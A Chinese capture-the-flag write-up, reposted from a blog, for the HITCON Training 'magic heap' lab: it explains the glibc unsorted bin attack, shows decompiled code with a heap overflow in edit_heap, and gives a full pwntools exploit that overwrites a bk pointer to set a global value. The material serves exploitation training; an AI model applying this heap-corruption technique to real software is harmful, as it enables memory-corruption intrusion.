HITCON Training lab14——magic heap

64位程序,没开PIE  #Unsorted Bin Attack

 先回顾一下 Unsorted Bin 的基本来源以及基本使用情况。

基本来源

  1. 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
  2. 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释,请参考下面的介绍。
  3. 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。

基本使用情况 

  1. Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取。
  2. 在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。

unsorted bin 中最后一个chunk的fd bk 均指向unsorted bin本身

将unsorted bin 中最后一个chunk的bk改为target_adr-0x10

在将最后一个chunk拿出来的过程中即可将target_adr处内容改为unsorted bin链表头部地址,为一个很大的数

这看起来似乎并没有什么用处,但是其实还是有点卵用的,比如说

  • 我们通过修改循环的次数来使得程序可以执行多次循环。
  • 我们可以修改 heap 中的 global_max_fast 来使得更大的 chunk 可以被视为 fast bin,这样我们就可以去执行一些 fast bin attack 了。

程序逻辑

 1 int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
 2 {
 3   char *v3; // rsi
 4   const char *v4; // rdi
 5   int v5; // eax
 6   char buf; // [rsp+0h] [rbp-10h]
 7   unsigned __int64 v7; // [rsp+8h] [rbp-8h]
 8 
 9   v7 = __readfsqword(0x28u);
10   setvbuf(stdout, 0LL, 2, 0LL);
11   v3 = 0LL;
12   v4 = (const char *)stdin;
13   setvbuf(stdin, 0LL, 2, 0LL);
14   while ( 1 )
15   {
16     while ( 1 )
17     {
18       menu(v4, v3);
19       v3 = &buf;
20       read(0, &buf, 8uLL);
21       v4 = &buf;
22       v5 = atoi(&buf);
23       if ( v5 != 3 )
24         break;
25       delete_heap(&buf, &buf);
26     }
27     if ( v5 > 3 )
28     {
29       if ( v5 == 4 )
30         exit(0);
31       if ( v5 == 4869 )
32       {
33         if ( (unsigned __int64)magic <= 0x1305 )
34         {
35           v4 = "So sad !";
36           puts("So sad !");
37         }
38         else
39         {
40           v4 = "Congrt !";
41           puts("Congrt !");
42           l33t("Congrt !", &buf);
43         }
44       }
45       else
46       {
47 LABEL_17:
48         v4 = "Invalid Choice";
49         puts("Invalid Choice");
50       }
51     }
52     else if ( v5 == 1 )
53     {
54       create_heap(&buf, &buf);
55     }
56     else
57     {
58       if ( v5 != 2 )
59         goto LABEL_17;
60       edit_heap(&buf, &buf);
61     }
62   }
63 }

编辑堆模块

 1 unsigned __int64 edit_heap()
 2 {
 3   __int64 v0; // ST08_8
 4   int v2; // [rsp+4h] [rbp-1Ch]
 5   char buf; // [rsp+10h] [rbp-10h]
 6   unsigned __int64 v4; // [rsp+18h] [rbp-8h]
 7 
 8   v4 = __readfsqword(0x28u);
 9   printf("Index :");
10   read(0, &buf, 4uLL);
11   v2 = atoi(&buf);
12   if ( v2 < 0 || v2 > 9 )
13   {
14     puts("Out of bound!");
15     _exit(0);
16   }
17   if ( heaparray[v2] )
18   {
19     printf("Size of Heap : ", &buf);     //堆溢出
20     read(0, &buf, 8uLL);
21     v0 = atoi(&buf);
22     printf("Content of heap : ", &buf);
23     read_input(heaparray[v2], v0);
24     puts("Done !");
25   }
26   else
27   {
28     puts("No such heap !");
29   }
30   return __readfsqword(0x28u) ^ v4;
31 }

同时,我们看到,当我们控制 v3 为 4869,同时控制 magic 大于 4869,就可以得到 flag 了

利用思路

 

  1. 释放一个堆块到 unsorted bin 中。
  2. 利用堆溢出漏洞修改 unsorted bin 中对应堆块的 bk 指针为 &magic-16。
  3. 触发漏洞即可。

expolit

 

 1 from pwn import *
 2 
 3 r = process('./magicheap')
 4 
 5 
 6 def create_heap(size, content):
 7     r.recvuntil(":")
 8     r.sendline("1")
 9     r.recvuntil(":")
10     r.sendline(str(size))
11     r.recvuntil(":")
12     r.sendline(content)
13 
14 
15 def edit_heap(idx, size, content):
16     r.recvuntil(":")
17     r.sendline("2")
18     r.recvuntil(":")
19     r.sendline(str(idx))
20     r.recvuntil(":")
21     r.sendline(str(size))
22     r.recvuntil(":")
23     r.sendline(content)
24 
25 
26 def del_heap(idx):
27     r.recvuntil(":")
28     r.sendline("3")
29     r.recvuntil(":")
30     r.sendline(str(idx))
31 
32 
33 create_heap(0x20, "dada")  # 0
34 create_heap(0x80, "dada")  # 1
35 # in order not to merge into top chunk
36 create_heap(0x20, "dada")  # 2
37 
38 del_heap(1)
39 
40 magic = 0x6020c0
41 fd = 0
42 bk = magic - 0x10
43 
44 edit_heap(0, 0x20 + 0x20, "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
45 create_heap(0x80, "dada")  #trigger unsorted bin attack
46 r.recvuntil(":")
47 r.sendline("4869")
48 r.interactive()

 

转载于:https://www.cnblogs.com/pfcode/p/10735565.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值